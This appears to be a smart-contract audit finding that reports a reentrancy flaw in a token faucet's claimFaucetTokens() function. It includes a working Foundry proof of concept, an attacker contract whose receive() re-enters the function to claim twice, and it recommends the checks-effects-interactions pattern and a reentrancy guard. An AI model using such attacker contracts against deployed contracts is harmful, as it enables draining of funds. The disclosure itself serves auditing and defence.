Root + Impact
Description
The `claimFaucetTokens()` function is vulnerable to a reentrancy attack. It transfers ETH using a low-level `.call` before updating the user's claim status. This allows a malicious contract to repeatedly call the function, bypassing the 3-day cooldown and daily claim limits, which can lead to the draining of the faucet's token and ETH funds.
The vulnerability exists because the external call to transfer ETH is made before the `lastClaimTime` and `dailyClaimCount` state variables are updated. This violates the Checks-Effects-Interactions pattern.
```solidity
function claimFaucetTokens() public {
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (!success) {
revert RaiseBoxFaucet_EthTransferFailed();
}
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
}
}
@> lastClaimTime[faucetClaimer] = block.timestamp;
@> dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
```
Risk
Likelihood:
-
-
When a malicious contract calls claimFaucetTokens and implements a fallback/receive function that re-enters the function
When the external call to send ETH triggers the malicious contract's fallback function before state variables are updated
Impact:
-
An attacker can create a contract with a `receive()` fallback function that re-enters `claimFaucetTokens()` multiple times within a single transaction. This allows the attacker to:
* Bypass the `CLAIM_COOLDOWN` period.
* Exceed the `dailyClaimLimit`.
* Drain the faucet of its `RaiseBoxToken` and Sepolia ETH.
This breaks the core functionality of the faucet and leads to a complete loss of funds.
Proof of Concept
```solidity
pragma solidity ^0.8.30;
import {Test, console} from "forge-std/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract Attacker {
RaiseBoxFaucet public faucet;
uint256 public reentrancyCount = 0;
constructor(address payable _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
function attack() external {
faucet.claimFaucetTokens();
}
receive() external payable {
if (reentrancyCount < 1) {
reentrancyCount++;
faucet.claimFaucetTokens();
}
}
}
contract ReentrancyTest is Test {
RaiseBoxFaucet faucet;
Attacker attacker;
function setUp() public {
faucet = new RaiseBoxFaucet(
"RaiseBoxToken",
"RBT",
1000 * 10**18,
0.005 ether,
0.5 ether
);
vm.deal(address(faucet), 1 ether);
attacker = new Attacker(payable(address(faucet)));
vm.warp(block.timestamp + 3 days);
}
function testReentrancyExploit() public {
assertEq(faucet.balanceOf(address(attacker)), 0, "Attacker should have 0 tokens initially");
assertEq(faucet.getUserLastClaimTime(address(attacker)), 0, "Attacker should have no last claim time");
attacker.attack();
uint256 expectedBalance = faucet.faucetDrip() * 2;
assertEq(faucet.balanceOf(address(attacker)), expectedBalance, "Attacker should have claimed tokens twice");
assertEq(faucet.dailyClaimCount(), 2, "Daily claim count should be 2");
assertTrue(faucet.getUserLastClaimTime(address(attacker)) > 0, "Attacker's last claim time should be set");
}
}
```
The test passes, confirming the vulnerability. The attacker successfully claims tokens twice in one transaction.
```
[PASS] testReentrancyExploit() (gas: 245346)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 17.41ms (14.31ms CPU time)
```
Recommended Mitigation
There are two primary ways to mitigate this reentrancy vulnerability:
1. **Follow the Checks-Effects-Interactions Pattern:** Update all state variables (`lastClaimTime`, `dailyClaimCount`) *before* making the external call to transfer ETH. This ensures that the contract's state is consistent before any external code is executed.
```solidity
function claimFaucetTokens() public {
// ... Checks ...
// --- Effects ---
// Update state before external call
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// --- Interactions ---
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// ... logic to send ETH ...
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (!success) {
revert RaiseBoxFaucet_EthTransferFailed();
}
// ...
}
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
```
2. **Use a Reentrancy Guard:** Implement a reentrancy guard, such as OpenZeppelin's `ReentrancyGuard`, to prevent re-entrant calls to the function. This is a widely-used and effective security measure.
```solidity
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
// ...
function claimFaucetTokens() public nonReentrant {
// ... existing logic ...
}
}
```
Applying either of these mitigations will resolve the vulnerability. Using both provides defense-in-depth.